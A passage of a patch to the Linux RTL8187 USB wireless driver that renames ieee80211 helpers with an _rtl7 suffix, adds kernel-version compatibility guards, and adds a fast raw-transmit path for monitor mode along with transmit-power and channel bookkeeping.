net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1142,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1156,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1177,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1209,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1224,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1239,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1248,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1256,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1304,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1323,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1381,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1392,20 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1417,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1430,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1443,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1485,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1502,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1601,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1612,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1633,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1660,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1687,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1728,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1775,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1835,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1883,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1892,71 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - - dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1973,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2008,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2037,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2127,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2193,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2216,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2230,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2274,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - 